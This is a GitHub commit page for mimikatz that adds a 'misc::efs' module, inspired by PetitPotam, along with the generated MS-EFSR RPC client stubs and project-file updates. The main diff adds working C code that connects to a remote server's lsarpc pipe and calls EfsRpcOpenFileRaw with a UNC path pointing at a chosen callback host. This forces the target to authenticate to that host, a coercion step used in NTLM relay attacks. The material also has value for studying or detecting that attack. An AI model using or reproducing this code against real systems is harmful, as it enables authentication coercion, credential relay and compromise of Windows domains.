Skip to content

Commit

Permalink
[new] mimikatz misc::efs to play with [MS-EFSR], inspired by @topotam
Browse files Browse the repository at this point in the history
…work on PetitPotam
  • Loading branch information
gentilkiwi committed Jul 22, 2021
1 parent ba3c2c6 commit dc1e334
Show file tree
Hide file tree
Showing 8 changed files with 222 additions and 5 deletions.
4 changes: 3 additions & 1 deletion mimikatz/mimikatz.vcxproj
Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,7 @@
<GenerateDebugInformation>false</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>advapi32.lib;bcrypt.lib;cabinet.lib;crypt32.lib;cryptdll.lib;delayimp.lib;dnsapi.lib;fltlib.lib;msxml2.lib;ncrypt.lib;netapi32.lib;ntdsapi.lib;odbc32.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;userenv.lib;version.lib;hid.lib;setupapi.lib;winscard.lib;winsta.lib;wbemuuid.lib;wldap32.lib;wtsapi32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>advapi32.lib;bcrypt.lib;cabinet.lib;crypt32.lib;cryptdll.lib;delayimp.lib;dnsapi.lib;fltlib.lib;mpr.lib;msxml2.lib;ncrypt.lib;netapi32.lib;ntdsapi.lib;odbc32.lib;ole32.lib;oleaut32.lib;rpcrt4.lib;shlwapi.lib;samlib.lib;secur32.lib;shell32.lib;user32.lib;userenv.lib;version.lib;hid.lib;setupapi.lib;winscard.lib;winsta.lib;wbemuuid.lib;wldap32.lib;wtsapi32.lib;advapi32.hash.lib;msasn1.min.lib;ntdll.min.lib;netapi32.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AssemblyDebug>false</AssemblyDebug>
<DataExecutionPrevention>true</DataExecutionPrevention>
<LinkErrorReporting>NoErrorReport</LinkErrorReporting>
Expand Down Expand Up @@ -151,6 +151,7 @@
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-credentialkeys.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-dcom_IObjectExporter_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-drsr_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-efsr_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-nrpc_c.c" />
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-pac.c" />
<ClCompile Include="..\modules\kull_m_service.c" />
Expand Down Expand Up @@ -269,6 +270,7 @@
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-dcom_IObjectExporter.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-drsr.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-bkrp.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-efsr.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-nrpc.h" />
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-pac.h" />
<ClInclude Include="..\modules\kull_m_samlib.h" />
Expand Down
6 changes: 6 additions & 0 deletions mimikatz/mimikatz.vcxproj.filters
Original file line number Diff line number Diff line change
Expand Up @@ -326,6 +326,9 @@
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-par_c.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
<ClCompile Include="..\modules\rpc\kull_m_rpc_ms-efsr_c.c">
<Filter>common modules\rpc</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="mimikatz.h" />
Expand Down Expand Up @@ -671,6 +674,9 @@
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-par.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
<ClInclude Include="..\modules\rpc\kull_m_rpc_ms-efsr.h">
<Filter>common modules\rpc</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="local modules">
Expand Down
122 changes: 122 additions & 0 deletions mimikatz/modules/kuhl_m_misc.c
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@ const KUHL_M_C kuhl_m_c_misc[] = {
{kuhl_m_misc_aadcookie, L"aadcookie", NULL},
{kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey, L"ngcsign", NULL},
{kuhl_m_misc_spooler, L"spooler", NULL},
{kuhl_m_misc_efs, L"efs", NULL},
{kuhl_m_misc_printnightmare, L"printnightmare", NULL},
{kuhl_m_misc_sccm_accounts, L"sccm", NULL},
{kuhl_m_misc_shadowcopies, L"shadowcopies", NULL},
Expand Down Expand Up @@ -1402,6 +1403,127 @@ NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[])
return STATUS_SUCCESS;
}

// Inspired from PetitPotam (https://github.com/topotam/PetitPotam) by topotam (@topotam77)
NTSTATUS kuhl_m_misc_efs(int argc, wchar_t * argv[])
{
NTSTATUS status;
RPC_BINDING_HANDLE hEfsHandle;
PEXIMPORT_CONTEXT_HANDLE hImportCtx;
DWORD dwRet, AuthnSvc;
long ret = 0;
NETRESOURCE nr = {0, RESOURCETYPE_DISK, 0, 0, NULL, NULL, NULL, NULL};
LPCWSTR szUser, szPassword, szRemote = NULL, szEndpoint, szCallbackTo;
PWSTR szCallbackToShare;

SEC_WINNT_AUTH_IDENTITY secIdentity = {NULL, 0, NULL, 0, NULL, 0, SEC_WINNT_AUTH_IDENTITY_UNICODE};

if(kull_m_string_args_byName(argc, argv, L"authuser", &szUser, NULL))
{
AuthnSvc = RPC_C_AUTHN_GSS_NEGOTIATE;
kprintf(L"[auth ] Explicit authentication\n");
kprintf(L"[auth ] Username: %s\n", szUser);
secIdentity.User = (USHORT *) szUser;
secIdentity.UserLength = lstrlen(szUser);

if(kull_m_string_args_byName(argc, argv, L"authpassword", &szPassword, NULL))
{
kprintf(L"[auth ] Password: %s\n", szPassword);
secIdentity.Password = (USHORT *) szPassword;
secIdentity.PasswordLength = lstrlen(szPassword);
}
}
else if(kull_m_string_args_byName(argc, argv, L"noauth", NULL, NULL))
{
AuthnSvc = RPC_C_AUTHN_NONE;
kprintf(L"[auth ] None\n");
szUser = szPassword = L"";
}
else
{
AuthnSvc = RPC_C_AUTHN_DEFAULT;
kprintf(L"[auth ] Default (current)\n");
szUser = szPassword = NULL;
}

kull_m_string_args_byName(argc, argv, L"endpoint", &szEndpoint, L"\\pipe\\lsarpc");
kprintf(L"[ rpc ] Endpoint: %s\n", szEndpoint);

if(kull_m_string_args_byName(argc, argv, L"server", &szRemote, NULL) || kull_m_string_args_byName(argc, argv, L"target", &szRemote, NULL))
{
if(kull_m_string_args_byName(argc, argv, L"connect", &szCallbackTo, NULL) || kull_m_string_args_byName(argc, argv, L"callback", &szCallbackTo, NULL))
{
if(kull_m_string_sprintf(&nr.lpRemoteName, L"\\\\%s\\IPC$", szRemote))
{
if(kull_m_string_sprintf(&szCallbackToShare, L"\\\\%s\\" MIMIKATZ L"\\" MIMIKATZ, szCallbackTo))
{
kprintf(L"[trans] Disconnect eventual IPC: ");
dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE);
if((dwRet == NO_ERROR) || (dwRet == ERROR_NOT_CONNECTED))
{
kprintf(L"OK\n[trans] Connect to IPC: ");
dwRet = WNetAddConnection2(&nr, szPassword, szUser, CONNECT_TEMPORARY);
if(dwRet == NO_ERROR)
{
kprintf(L"OK\n");
if(kull_m_rpc_createBinding(NULL, L"ncacn_np", szRemote, szEndpoint, L"host", TRUE, AuthnSvc, secIdentity.UserLength ? &secIdentity : NULL, RPC_C_IMP_LEVEL_DEFAULT, &hEfsHandle, NULL))
{
kprintf(L"[ rpc ] Resolve Endpoint: ");
status = RpcEpResolveBinding(hEfsHandle, &efsrpc_v1_0_c_ifspec);
if(status == RPC_S_OK)
{
kprintf(L"OK\n\n");
RpcTryExcept
{
ret = EfsRpcOpenFileRaw(hEfsHandle, &hImportCtx, szCallbackToShare, 0);
if(ret == ERROR_BAD_NETPATH)
{
kprintf(L"Remote server reported bad network path! (OK)\n> Server (%s) may have tried to authenticate (to: %s)\n", szRemote, szCallbackTo);
}
else if(ret == 0)
{
PRINT_ERROR(L"EfsRpcOpenFileRaw is a success, really? (not normal)\n");
EfsRpcCloseRaw(&hEfsHandle);
}
else
{
PRINT_ERROR(L"EfsRpcOpenFileRaw: ", ret);
}
}
RpcExcept(RPC_EXCEPTION)
PRINT_ERROR(L"RPC Exception: 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept

kprintf(L"\n");
}
else PRINT_ERROR(L"RpcEpResolveBinding: 0x%08x\n", status);

kull_m_rpc_deleteBinding(&hEfsHandle);
}

kprintf(L"[trans] Disconnect IPC: ");
dwRet = WNetCancelConnection2(nr.lpRemoteName, 0, TRUE);
if(dwRet == NO_ERROR)
{
kprintf(L"OK\n");
}
else PRINT_ERROR(L"WNetCancelConnection2: 0x%08x\n");
}
else PRINT_ERROR(L"WNetAddConnection2:%u\n", dwRet);
}
else PRINT_ERROR(L"WNetCancelConnection2: %u\n", dwRet);

LocalFree(szCallbackToShare);
}
LocalFree(nr.lpRemoteName);
}
}
else PRINT_ERROR(L"missing /connect argument to specify notifications target");
}
else PRINT_ERROR(L"missing /server argument to specify spooler server");

return STATUS_SUCCESS;
}

NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[])
{
RPC_STATUS rpcStatus;
Expand Down
2 changes: 2 additions & 0 deletions mimikatz/modules/kuhl_m_misc.h
Original file line number Diff line number Diff line change
Expand Up @@ -15,6 +15,7 @@
#include "../../modules/kull_m_crypto_ngc.h"
#include "../../modules/rpc/kull_m_rpc_ms-rprn.h"
#include "../../modules/rpc/kull_m_rpc_ms-par.h"
#include "../../modules/rpc/kull_m_rpc_ms-efsr.h"
#include <fltUser.h>
#include <sql.h>
#pragma warning(push)
Expand Down Expand Up @@ -45,6 +46,7 @@ NTSTATUS kuhl_m_misc_xor(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_aadcookie(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_efs(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]);
Expand Down
3 changes: 2 additions & 1 deletion modules/kull_m_net.h
Original file line number Diff line number Diff line change
Expand Up @@ -212,4 +212,5 @@ NET_API_STATUS NET_API_FUNCTION NetShareEnum(IN LMSTR servername, IN DWORD level
NET_API_STATUS NET_API_FUNCTION NetStatisticsGet(IN LPWSTR server, IN LPWSTR service, IN DWORD level, IN DWORD options, OUT LPBYTE *bufptr);
NET_API_STATUS NET_API_FUNCTION NetRemoteTOD(IN LPCWSTR UncServerName, OUT PTIME_OF_DAY_INFO *pToD);
NET_API_STATUS NET_API_FUNCTION NetServerGetInfo(IN LPWSTR servername, IN DWORD level, OUT LPBYTE *bufptr);
NET_API_STATUS NET_API_FUNCTION NetShareAdd(IN LMSTR servername, IN DWORD level, IN LPBYTE buf, OUT LPDWORD parm_err);
NET_API_STATUS NET_API_FUNCTION NetShareAdd(IN LMSTR servername, IN DWORD level, IN LPBYTE buf, OUT LPDWORD parm_err);
NET_API_STATUS NET_API_FUNCTION NetConnectionEnum(IN LMSTR servername, LMSTR qualifier, DWORD level, LPBYTE *bufptr, DWORD prefmaxlen, LPDWORD entriesread, LPDWORD totalentries, LPDWORD resume_handle);
11 changes: 11 additions & 0 deletions modules/rpc/kull_m_rpc_ms-efsr.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#pragma once
#include "kull_m_rpc.h"

const UUID EFSR_ObjectUUID;

typedef void *PEXIMPORT_CONTEXT_HANDLE;

long EfsRpcOpenFileRaw(handle_t binding_h, PEXIMPORT_CONTEXT_HANDLE *hContext, wchar_t *FileName, long Flags);
void EfsRpcCloseRaw(PEXIMPORT_CONTEXT_HANDLE *hContext);

extern RPC_IF_HANDLE efsrpc_v1_0_c_ifspec;
75 changes: 75 additions & 0 deletions modules/rpc/kull_m_rpc_ms-efsr_c.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
#include "kull_m_rpc_ms-efsr.h"

const UUID EFSR_ObjectUUID = {0xdf1941c5, 0xfe89, 0x4e79, {0xbf, 0x10, 0x46, 0x36, 0x57, 0xac, 0xf4, 0x4d}};

#if defined(_M_X64) || defined(_M_ARM64) // TODO:ARM64
typedef struct _ms2Defsr_MIDL_TYPE_FORMAT_STRING {
SHORT Pad;
UCHAR Format[23];
} ms2Defsr_MIDL_TYPE_FORMAT_STRING;

typedef struct _ms2Defsr_MIDL_PROC_FORMAT_STRING {
SHORT Pad;
UCHAR Format[93];
} ms2Defsr_MIDL_PROC_FORMAT_STRING;

extern const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString;
extern const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString;
static const RPC_CLIENT_INTERFACE efsrpc___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0xc681d488, 0xd850, 0x11d0, {0x8c, 0x52, 0x00, 0xc0, 0x4f, 0xd9, 0x0f, 0x7e}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000001};
RPC_IF_HANDLE efsrpc_v1_0_c_ifspec = (RPC_IF_HANDLE)& efsrpc___RpcClientInterface;
static RPC_BINDING_HANDLE efsrpc__MIDL_AutoBindHandle;
static const MIDL_STUB_DESC efsrpc_StubDesc = {(void *) &efsrpc___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &efsrpc__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Defsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0};

long EfsRpcOpenFileRaw(handle_t binding_h, PEXIMPORT_CONTEXT_HANDLE *hContext, wchar_t *FileName, long Flags)
{
return (long) NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[0], binding_h, hContext, FileName, Flags).Simple;
}
void EfsRpcCloseRaw(PEXIMPORT_CONTEXT_HANDLE *hContext)
{
NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[54], hContext);
}

static const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString = {0, {
0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x46, 0x04, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01,
0x08, 0x00, 0x06, 0x00, 0x0b, 0x01, 0x10, 0x00, 0x0c, 0x00, 0x48, 0x00, 0x18, 0x00, 0x08, 0x00, 0x70, 0x00, 0x20, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x08, 0x00,
0x30, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x38, 0x00, 0x40, 0x01, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x12, 0x00, 0x00,
}};
static const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString = {0, {
0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x00,
}};
#elif defined(_M_IX86)
typedef struct _ms2Defsr_MIDL_TYPE_FORMAT_STRING {
SHORT Pad;
UCHAR Format[23];
} ms2Defsr_MIDL_TYPE_FORMAT_STRING;

typedef struct _ms2Defsr_MIDL_PROC_FORMAT_STRING {
SHORT Pad;
UCHAR Format[89];
} ms2Defsr_MIDL_PROC_FORMAT_STRING;

extern const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString;
extern const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString;
static const RPC_CLIENT_INTERFACE efsrpc___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0xc681d488, 0xd850, 0x11d0, {0x8c, 0x52, 0x00, 0xc0, 0x4f, 0xd9, 0x0f, 0x7e}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000001};
RPC_IF_HANDLE efsrpc_v1_0_c_ifspec = (RPC_IF_HANDLE)& efsrpc___RpcClientInterface;
static RPC_BINDING_HANDLE efsrpc__MIDL_AutoBindHandle;
static const MIDL_STUB_DESC efsrpc_StubDesc = {(void *)& efsrpc___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &efsrpc__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Defsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0};
#pragma optimize("", off)
long EfsRpcOpenFileRaw(handle_t binding_h, PEXIMPORT_CONTEXT_HANDLE *hContext, wchar_t *FileName, long Flags)
{
return (long) NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[0], (unsigned char *) &binding_h).Simple;
}
void EfsRpcCloseRaw(PEXIMPORT_CONTEXT_HANDLE *hContext)
{
NdrClientCall2((PMIDL_STUB_DESC) &efsrpc_StubDesc, (PFORMAT_STRING) &ms2Defsr__MIDL_ProcFormatString.Format[52], (unsigned char *) &hContext);
}
#pragma optimize("", on)
static const ms2Defsr_MIDL_PROC_FORMAT_STRING ms2Defsr__MIDL_ProcFormatString = {0, {
0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x40, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x01, 0x04, 0x00,
0x06, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x0c, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x04, 0x00, 0x30, 0xe0,
0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x38, 0x00, 0x40, 0x01, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x01, 0x00, 0x00, 0x12, 0x00, 0x00,
}};
static const ms2Defsr_MIDL_TYPE_FORMAT_STRING ms2Defsr__MIDL_TypeFormatString = {0, {
0x00, 0x00, 0x11, 0x04, 0x02, 0x00, 0x30, 0xa0, 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x11, 0x04, 0x02, 0x00, 0x30, 0xe1, 0x00, 0x00, 0x00,
}};
#endif
4 changes: 1 addition & 3 deletions modules/rpc/kull_m_rpc_ms-par.h
Original file line number Diff line number Diff line change
Expand Up @@ -43,6 +43,4 @@ DWORD RpcAsyncClosePrinter(PRINTER_HANDLE *phPrinter);
DWORD RpcAsyncAddPrinterDriver(handle_t hRemoteBinding, wchar_t *pName, DRIVER_CONTAINER *pDriverContainer, DWORD dwFileCopyFlags);
DWORD RpcAsyncEnumPrinterDrivers(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDrivers, DWORD cbBuf, DWORD *pcbNeeded, DWORD *pcReturned);
DWORD RpcAsyncGetPrinterDriverDirectory(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, DWORD Level, unsigned char *pDriverDirectory, DWORD cbBuf, DWORD *pcbNeeded);
DWORD RpcAsyncDeletePrinterDriverEx(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, wchar_t *pDriverName, DWORD dwDeleteFlag, DWORD dwVersionNum);

extern RPC_IF_HANDLE IRemoteWinspool_v1_0_c_ifspec;
DWORD RpcAsyncDeletePrinterDriverEx(handle_t hRemoteBinding, wchar_t *pName, wchar_t *pEnvironment, wchar_t *pDriverName, DWORD dwDeleteFlag, DWORD dwVersionNum);

0 comments on commit dc1e334

Please sign in to comment.